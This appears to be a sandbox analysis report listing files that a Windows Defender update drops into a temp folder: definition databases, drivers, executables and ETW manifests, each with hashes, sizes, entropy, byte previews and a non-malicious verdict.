                                                            SHA1:45D7B8E98E22F939ED0083FE31204CAA9A72FA76
                                                            SHA-256:FA42B9B84754E2E8368E8929FA045BE86DBD72678176EE75814D2A16D23E5C26
                                                            SHA-512:BEA5F3D7FB0984C4A71720F25644CE3151FCDC95586E1E2FFE804D04567AAF30D8678608110E241C7DDF908F94882EDDD84A994573B0C808D1C064F0E135A583
                                                            Malicious:false
                                                            Antivirus:
                                                            • Antivirus: Metadefender, Detection: 0%, Browse
                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..#...#...#..EV...#...Q...#...Q...#...Q...#...Q...#...#..."..EV..#..EVN..#..EV...#..Rich.#..........PE..d.....P.........."......`....................@.............................0.......-....`.......... .......................................t..d....... ........D... ..h!... ......d...p.......................(......8...........0................................text...2R.......`.................. ..`.rdata.......p... ...p..............@..@.data..../....... ..................@....pdata...D.......P..................@..@.rsrc... ...........................@..@.reloc....... ......................@..B........................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpasbase.vdm
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exe
                                                            File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):53072304
                                                            Entropy (8bit):7.997563930648501
                                                            Encrypted:true
                                                            SSDEEP:1572864:P0U1SslLDBQpTRKb0o76I0RUgRS2uc62zNWPy:P0UplL2tRW0aV0RpS2lTey
                                                            MD5:0157CF1D00DB2F06270440CED26AD2DA
                                                            SHA1:E0DA67E235AF6B8DDBA9736504E7638BFF4DB4B0
                                                            SHA-256:15C43FFD2F73BA5E6A0E0A3B845A6FD61EE9E12220C0D98CBDB9E59D6E188914
                                                            SHA-512:0264329D824734BC9BFE3129E4653E5293EFC96555EE98909DD19B37A010747C6368247784972AE478DBC16EF5E031FF99A283CF371F21278DBCE9E94DABAAC5
                                                            Malicious:false
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<..R...R...R......R..P...R.Rich..R.PE..d....<_a.........." ..........)...............................................).......)...`.......................................................... ....)...........)..!...........................................................................................rdata..p...........................@..@.rsrc.....).. ....).................@..@.....<_a........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... ...)..rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpasdlta.vdm
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exe
                                                            File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):560064
                                                            Entropy (8bit):7.994973507871307
                                                            Encrypted:true
                                                            SSDEEP:12288:Pd7ZEeM0UxNN8HW+aC09TkkkYcNo4xgBvXxWEizy0j5ygp:FFEl0UxCW+705kbNo4xG+zy0E
                                                            MD5:BA3C7573086D8423163D59F8D1925556
                                                            SHA1:A2365B179104F8DC8759F8F7474A6F0349E89A1B
                                                            SHA-256:9E0712B1DE627341F23789EB531ED3E425132EB9C8C3666AA4F85D5A3AAAB845
                                                            SHA-512:964B911E11253FA2785A6B51E8993BBE791A43678B8487299DE1DF106072D1581DDB36A2899E9EF7B5E08A2289E8668E928281EAB2F1528719ED6DF677943AD4
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<..R...R...R......R..P...R.Rich..R.PE..d.....da.........." .........h......................................................]"....`.......................................................... ..pd...........j...!...........................................................................................rdata..p...........................@..@.rsrc...pd... ...f..................@..@......da........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... ...c...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpavbase.vdm
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exe
                                                            File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):55848880
                                                            Entropy (8bit):7.995585481148423
                                                            Encrypted:true
                                                            SSDEEP:1572864:iy6w1liQqicAsNBasl5IY/hOO0S7WGB9F9L4hxZB:B6uiQqiTE8kIYJn+wFZ4XB
                                                            MD5:7E2B83A39CC26B2B617F404A89B6661C
                                                            SHA1:198F9D59A90993247182EE11AE33AB52E5011C44
                                                            SHA-256:8ED02ED1D817FA7B68466F11F55A2289D82BDD22A360246624BA0F9220D17EE3
                                                            SHA-512:BF29A223DFF577DB8967DBEA610DC6DB2D6C0152A896E8BCC851EB67E84AF5367E4A01AC6110554C2813E974EBA9B8C04C2EB03422DCCDE00B1FA8D7F629C55F
                                                            Malicious:false
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<..R...R...R......R..P...R.Rich..R.PE..d....<_a.........." ..........T..............................................0T.......T...`.......................................................... ..@.T...........T..!...........................................................................................rdata..p...........................@..@.rsrc...@.T.. ....T.................@..@.....<_a........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... ....T..rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpavdlta.vdm
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exe
                                                            File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                            Category:modified
                                                            Size (bytes):223680
                                                            Entropy (8bit):7.990818331682759
                                                            Encrypted:true
                                                            SSDEEP:6144:zTuTaoPBmgsw3GPjN+iD6/x5kEit5VJpolpfvAGos8NU:HCew3GrNvW3GoPf5on
                                                            MD5:2D24E25C23DDC77CCB15B96FD9827218
                                                            SHA1:5B341013E9F624403A4FA42FFFA679650256693D
                                                            SHA-256:D2A757353CEE88003F74D44AC75DDAEA0CEA24CC77C7B8E7713036F025C712CB
                                                            SHA-512:E14616A364657CED17FC2D2BBB512EC4A1135B4D83F467E1F31BD98B2D5AB441FCD49FBFD10D6F0D900F8BDFE7A0595BED9584C5212FC2433988AB603E2EBEE2
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<..R...R...R......R..P...R.Rich..R.PE..d.....da.........." .........F...............................................p......[.....`.......................................................... ...C...........H...!...........................................................................................rdata..p...........................@..@.rsrc....C... ...D..................@..@......da........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... ...C...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ConfigSecurityPolicy.exe
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (console) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):454904
                                                            Entropy (8bit):6.2829164628823575
                                                            Encrypted:false
                                                            SSDEEP:6144:p+BaOdQrqYpWVCPpYXe14f6eFL+TFFzE/tzkY5WwuTWOahE:kQ2YpWkPiXe14f6eFL6FA/zWwgChE
                                                            MD5:065E4E5BE96865266D1FC4449274CE20
                                                            SHA1:C6FF45B448F7B828D8C6369B5DE95B41E685F502
                                                            SHA-256:98E3951BA9FACFB2B878D98D237D63C675878A09D9B6E18640C96746B6665041
                                                            SHA-512:E63A5CF20678757F3FA277C56576F0DFBFF41DCBE61BEEFF28C608EE5D2BE2766E16A93E2FC423E6697670AC7E164E2B29EE5755AADAAE1C58B6F6F3FE1A6481
                                                            Malicious:false
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............._..._..._...^..._..x_..._K..^..._K..^..._K..^N.._K..^..._..._..._...^..._..._..._...^..._Rich..._........................PE..d......m.........."..........P.......u.........@.....................................]....`.......... ...................................................#...p...9....... ...... ...8f..p...................8...(.......8...........`...8............................text............................... ..`.rdata...u..........................@..@.data...PD... ...0... ..............@....pdata...9...p...@...P..............@..@.rsrc....#.......0..................@..@.reloc.. ...........................@..B................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\DefenderCSP.dll
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):303352
                                                            Entropy (8bit):6.103843753653899
                                                            Encrypted:false
                                                            SSDEEP:6144:6CFCIAsyTqaF2uNoLQ7iF5K8+v5y8hCs2Y:6ypfyTqIL6LQ7iF5K8+484BY
                                                            MD5:8C7A45FC0FDFB95104C84A68EAFBD170
                                                            SHA1:D770064F1956FF05248E4C56DCF511928A7D8C3F
                                                            SHA-256:B0A45EEB123840F105A40DB938553801C54DC5EED5FD2F710AC7EA24E16D0B56
                                                            SHA-512:CD0B5A72D12B513B9EE160C1A18275893480488378A0E8E241600F0DCB1275B1F3CDC3C0096345D9A2B942C800484DC0E5210E0C4B409D5FE69B94716CE432FF
                                                            Malicious:false
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q[.'5:}t5:}t5:}t.O|u7:}t.O~u4:}t<B.t1:}t.H|u,:}t5:|tM;}t.Hyu(:}t.H~u;:}t.Hxu.:}t.O}u4:}t.Otuy:}t.O.t4:}t.O.u4:}tRich5:}t........................PE..d...c..P.........." ......................................................................`A........................................0...p............p.......@..`$....... ......8.......p...................h@..(...0?..8............@...............................text...L........................... ..`.rdata..............................@..@.data....-....... ..................@....pdata..`$...@...0...0..............@..@.rsrc........p.......`..............@..@.reloc..8............p..............@..B................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdBoot.sys
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (native) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):48520
                                                            Entropy (8bit):6.2073261328907865
                                                            Encrypted:false
                                                            SSDEEP:768:0WfrO9dZBf9slBe+eRPKUjKHWPkKrdtBGgz:1ybZMrCKUjKulLBH
                                                            MD5:1BF7CF2DBA97C71FF1876F0DE67421C3
                                                            SHA1:48DFEC30B75138FCAF5DFFE16CB9822BA4CC4178
                                                            SHA-256:B946398AB34EF5BF16DC3461D32261664760C0F86E8A281BCD90361A170E27FD
                                                            SHA-512:11E1E1C339F9BFFC83919946ACFA6F3D5CC1C7494A21629332004E2445AAE919A0E014366DFDCE7764C934E1F7C2C0CABAAFF0179C8A145DBB0759BAE218F540
                                                            Malicious:false
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......kM.W/,../,../,../,...,...^..*,...^..,,...^..=,...^..),...Y..$,...Y}..,...Y...,..Rich/,..........PE..d...9............."......d...4...........................................................`A.................................................q..<.......`....`...........!......@....8..p...........................@0..8............p..`............................text............ .................. ..h.rdata..0....0.......$..............@..H.data........P.......8..............@....pdata.......`.......<..............@..H.idata.......p.......@..............@..HPAGE...../.......0...H.............. ..`INIT.................x.............. ..bGFIDS...$...........................@..B.rsrc...`...........................@..B.reloc..............................@..B................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdDevFlt.sys
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (native) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):164072
                                                            Entropy (8bit):6.14800914066086
                                                            Encrypted:false
                                                            SSDEEP:3072:A1y1RnaePd+RhtbV0vgn8wNgaZp8kdiQfH4M4mD:3naePkRhtbV0vrwNgaZp8G7fYe
                                                            MD5:26B890C2237E48DAF8B9B901EBE7A0C1
                                                            SHA1:08976CF446255E9BB538B8540BBE0DD4BF3E8A65
                                                            SHA-256:B1D793E12DBF2CE5197960454F0A5AE6C93703FA5BF2D7622EC0FDFBAC183211
                                                            SHA-512:F580903A15E67888F714CA073D4B56C349131D2C03769092794656E538E0501CCAAC4B563311346B22AD8F81302FE2FBE22F4F6B1BD352BC4213EAED7F7F25D1
                                                            Malicious:false
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d.i. ... ... .......#... ..........'...............%...............!.......!...Rich ...........................PE..d...l:..........."..................X.....................................................A....................................................P....p...............`... ..............p...........................Pb..8............................................text...*O.......P.................. ..h.rdata...Y...`...\...T..............@..H.data...............................@....pdata..............................@..H.idata........... ..................@..HPAGE....!).......,.................. ..`INIT.....)...0...,.................. ..bGFIDS........`.......@..............@..B.rsrc........p.......D..............@..B.reloc...............L..............@..B................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdFilter.sys
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (native) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):434424
                                                            Entropy (8bit):6.350342003442293
                                                            Encrypted:false
                                                            SSDEEP:6144:EF/vuF3th9Gf4GYapoQm1RGpIk6IjKtGnpPVzcZYac3UA2dwcSogCYog:EYFdhQgGYNPR8Iv1gpP+2oG
                                                            MD5:B6C6FFC05B52D2F8A433DD12C3A11D30
                                                            SHA1:F221740A99726722E5F5DF8CC3A0182436060A46
                                                            SHA-256:666259E830F5EAC0707B2D957944B7468FA645271C60B8EA54E5130B8336D1F6
                                                            SHA-512:1B0ABBB15A3018B584B0239C04A94E38FE433D382771BF8CFFAECC5B8776AC87DBC4278B4D2E0A341026F3B9FF43B84F604A52797D134E2C3881ADF03C9358F6
                                                            Malicious:false
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Qm.0..kc..kc..kc..jc..kc.~jb..kc.~nb..kc.~ob..kc.~hb..kc.ycb-.kc.y.c..kc.yib..kcRich..kc................PE..d....5............"......L...4.......H..............................................=......A...................................................P....p.......`..4#....... ...........!..p...........................P...8............................................text............................... ..h.rdata..H}..........................@..H.data...d....P.......D..............@....pdata..4#...`...$...L..............@..H.idata...,.......0...p..............@..HPAGE.....-.......0.................. ..`INIT.....[.......\.................. ..bINIT.........P.......,..............@...GFIDS...<....`.......4..............@..B.rsrc........p.......8..............@..B.reloc...........0...P..............@..B................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdNisDrv.sys
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32+ executable (native) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):86264
                                                            Entropy (8bit):6.087010539108971
                                                            Encrypted:false
                                                            SSDEEP:1536:xFbk8rfBGjiGUQiQ5Df0uEWWH1shZJ+Rb7NvmoHPNr:xFbprZGuzQnjR81shW5JvmCFr
                                                            MD5:9C4361259D5F0D7A36A10BD28D000F90
                                                            SHA1:F1CB41DB2356666AD123686B0AD52A2112D91474
                                                            SHA-256:7445476DE9BAB0D9C975DBDF63BD928D7E3139DF3FC69463BF08897E3B087575
                                                            SHA-512:55863A0B999439CD0C1747A81BD34991D81C631571797CC6F6335B60F1D054EB31951418DAF5587ADC43F65F16711482FBC82D0F0C9495CFBA834919FDBF9264
                                                            Malicious:false
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........U..U..U.....Q..U..,.....R.....E.....S....Z...%.T....T..RichU..................PE..d....%.........."..........\.......`....................................................`A................................................h...P....................0... ......H...X...p...............................8...............@............................text...*........................... ..h.rdata..p .......$..................@..H.data...(...........................@....pdata..............................@..H.idata..............................@..HPAGE....H ...0...$.................. ..`INIT.........`...................... ..bGFIDS........p......................@..B.rsrc...............................@..B.reloc...............$..............@..B........................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Microsoft-Antimalware-AMFilter.man
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):12624
                                                            Entropy (8bit):5.259327730394375
                                                            Encrypted:false
                                                            SSDEEP:192:/5mm9AfGjUa1rIL+FUVin2F/OZDfYj5YbAxqTSSS6S8SzSySovK1ZVuB:/5mm9AfGtML+Fws2Fo7m5YcxHKrVo
                                                            MD5:B6D65A86FC1999A62DA10EA3C4CAD3E4
                                                            SHA1:E79E97C04D8540A2005D21021F7781676E705BCD
                                                            SHA-256:05B2BFD40FB3A344C3AE178C420A7FEA9595815CB1CC07843078112F5F551EAF
                                                            SHA-512:7F13B4930F9BF9ABCFD64E905DA4F0111B34197A533FB0162E43C4C80F39D135ADAA09C3E7AF3E95397BEF5D1D323E75721CEE150517CB13EBED3029C781BEC6
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: <?xml version="1.0" encoding="UTF-8"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v3" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">...<assemblyIdentity buildType="release" language="neutral" name="Windows-Defender-Drivers" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" version="10.0.10011.16384" versionScope="nonSxS"></assemblyIdentity>... .. ***********************************************************************************************************.. Driver files.. ***********************************************************************************************************.. -->...<file destinationPath="$(runtime.drivers)" importPath="$(build.campBinaryImportPath)" name="WdFilter.sys" sourceName="WdFilter.sys" sourcePath=".\"></file>...<file destinationPath="$(runtime.drivers)" importPath="$(build.campBinaryImportPath)" name="WdBoot.sys" sourceName="WdBoot.sys" sou
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Microsoft-Antimalware-NIS.man
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):6173
                                                            Entropy (8bit):5.373156847974759
                                                            Encrypted:false
                                                            SSDEEP:96:/3coK5HjFWr/96Hj+Uul2lewqo3nRtlUl3lflxSDwMKRbRhK18YaKMr4e:/mDFcujBuEgI3nzC1Z6V8f3
                                                            MD5:5562965C32F03AE0DF8B9DEF950F8651
                                                            SHA1:6E5AD734AB6A9F8B82B19024E21007AC2CAD2540
                                                            SHA-256:EA64BE59286B67AE930729FA92B2B08DCE5C2EAEB70FEABE2320C47FB6DDAC6C
                                                            SHA-512:F64D728AFE40800968D0B165019E775F62F2CCA40BFBB370F52F4BA8FCC2574F79D2C4AC41CCAE6E1CEC23082BA24B5E6C0A5531E6B336683BEEEDDA3CB81CDE
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: <?xml version="1.0" encoding="UTF-8"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v3" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">...<assemblyIdentity buildType="release" language="neutral" name="Windows-Defender-Service-NisSrvEtw" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" version="10.0.10011.16384" versionScope="nonSxS"></assemblyIdentity>...<instrumentation>....<events xmlns="http://schemas.microsoft.com/win/2004/08/events" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events">.....<provider guid="{102aab0a-9d9c-4887-a860-55de33b96595}" message="$(string.Microsoft-Antimalware-NIS.provider.name)" messageFileName="%ProgramFiles%\Windows Defender\NisSrv.exe" name="Microsoft-Antimalware-NIS" resourceFileName="%ProgramFiles%\Windows Defender\NisSrv.exe" symbol="Microsoft_Antimalware_NIS">......<tasks>.......<task eventGUID="{b33e041e-3a75-4f52-bf0e-c85d0963b7fb}" name="N
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Microsoft-Antimalware-Protection.man
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):3369
                                                            Entropy (8bit):5.312049604455802
                                                            Encrypted:false
                                                            SSDEEP:96:/3poK58yFND08uf9zXzUzCzwat0kz9nHHzyPYjHMrje:/FbFHuf9DzUOVJ1HHePv2
                                                            MD5:E4AD891E7B62475FCA109C0DF4DEF16E
                                                            SHA1:B7DC3C04C67D7903E04B0EBF2AB7840AAA717EE0
                                                            SHA-256:DF9AD93CDB61587A35FCDCE996955A64413439A474D85C86133A9E9C185D1966
                                                            SHA-512:0849CB6F3DAA6C80B94F770E29BD389B67D31E089595B22BFAF1D6F25C6E847DA4DCBFF135F6D96E30597991FF6C8CA8EB5306C4E8D1B334016220058B2969E1
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: <?xml version="1.0" encoding="UTF-8"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v3" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">...<assemblyIdentity buildType="release" language="neutral" name="Windows-Defender-Service-MpClientEtw" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" version="10.0.10011.16384" versionScope="nonSxS"></assemblyIdentity>...<instrumentation>....<events xmlns="http://schemas.microsoft.com/win/2004/08/events" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events">.....<provider guid="{e4b70372-261f-4c54-8fa6-a5a7914d73da}" message="$(string.Microsoft-Antimalware-Protection.provider.name)" messageFileName="%programfiles%\Windows Defender\MpClient.dll" name="Microsoft-Antimalware-Protection" resourceFileName="%programfiles%\Windows Defender\MpClient.dll" symbol="Microsoft_Antimalware_Protection">......<tasks>.......<task eventGUID="{7db81ddd-d2be-41bd-
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Microsoft-Antimalware-RTP.man
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):12885
                                                            Entropy (8bit):5.3652290431980765
                                                            Encrypted:false
                                                            SSDEEP:192:/ozFIItP1HvYoPp5z7YlAZSJwyygPJ2HBfEj:/QFIwP1PYoh5WAZSJwsJ2NC
                                                            MD5:35AC30A8637BC0EB2F7902B8C69BF904
                                                            SHA1:DB4C458A6007F444AECF8F4C49E481CC9935B22C
                                                            SHA-256:FE761134076253DC11CF8C154CA43E762C61C28D0A817E76351FFEF32CCF59C0
                                                            SHA-512:E41E522BF542D3B662D741E04523D1140C66585B64E811F6CD27C74466156F2FB728890C73579D4CFAD0BF8758D4F699A79C5B0B4B98479D60D386ACC26A8C49
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: <?xml version="1.0" encoding="UTF-8"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v3" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">...<assemblyIdentity buildType="release" language="neutral" name="Windows-Defender-Service-MpRtpEtw" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" version="10.0.10011.16384" versionScope="nonSxS"></assemblyIdentity>...<instrumentation>....<events xmlns="http://schemas.microsoft.com/win/2004/08/events" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events">.....<provider guid="{8e92deef-5e17-413b-b927-59b2f06a3cfc}" message="$(string.Microsoft-Antimalware-RTP.provider.name)" messageFileName="%programfiles%\Windows Defender\MpRtp.dll" name="Microsoft-Antimalware-RTP" resourceFileName="%programfiles%\Windows Defender\MpRtp.dll" symbol="Microsoft_Antimalware_RTP">......<maps>.......<valueMap name="DlpOperationType">........<map message="$(string.Ope
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Microsoft-Antimalware-Service.man
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):31904
                                                            Entropy (8bit):5.2624632476710405
                                                            Encrypted:false
                                                            SSDEEP:384:/VFriW4cboWcauSi6fZeeCifUhwqh+46AJJCZvsp33icjEtFBR2EaXU1Hgb1RVxq:tFriHcblBLuJ1ycgtR6XNxB4
                                                            MD5:B003B1DFFD9221745ED31E2979B28574
                                                            SHA1:FBCEB9767657E596CEA5E29EBDA57207F5B08A5D
                                                            SHA-256:5AE7493F638252D49F18B084D7CEA4E88D3AF6B1170C8C16EABF5C6AE849E3C9
                                                            SHA-512:B731F60AC20548A54C465BFC3B20334946A384895C8AA4DF4C1DA969FB71F4B7C1BEC50044C4C5A9555B68B68C8A96EC45AE78FC5EBCD406102AE144A737FF02
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: <?xml version="1.0" encoding="UTF-8"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v3" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">...<assemblyIdentity buildType="release" language="neutral" name="Windows-Defender-Service-MpSvcEtw" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" version="10.0.10011.16384" versionScope="nonSxS"></assemblyIdentity>...<instrumentation>....<events xmlns="http://schemas.microsoft.com/win/2004/08/events" xmlns:ms="http://manifests.microsoft.com/win/2004/08/windows/events" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events">.....<provider guid="{751ef305-6c6e-4fed-b847-02ef79d26aef}" message="$(string.Microsoft-Antimalware-Service.provider.name)" messageFileName="%programfiles%\Windows Defender\MpSvc.dll" name="Microsoft-Antimalware-Service" resourceFileName="%programfiles%\Windows Defender\MpSvc.dll" symbol="Microsoft_Antimalware_Service">......
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Microsoft-Windows-Windows Defender.man
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):149152
                                                            Entropy (8bit):5.478121035794876
                                                            Encrypted:false
                                                            SSDEEP:1536:5oQofFA+1KSYfSN8bvc0/E/EvJ4rXVEc+ICO+PV5FqGc9HCOKK1HVX:SBfErIHKK1HVX
                                                            MD5:36F8A68EECFB5B89C4C571F6A63E3ECA
                                                            SHA1:242DC76813FE0BE2E676D37538FD887292803E68
                                                            SHA-256:4D76246642181E38F87B623AF82BF7454050D05775F546506CFACA1608BE9633
                                                            SHA-512:C483FCE988F96156FAAACA093F1CE948B0CC42C006012F6F29308F4ED09D295951F59C79A547341578616E58561CAF858135881AF305B3166E1D4474B48D35C8
                                                            Malicious:false
                                                            Reputation:unknown
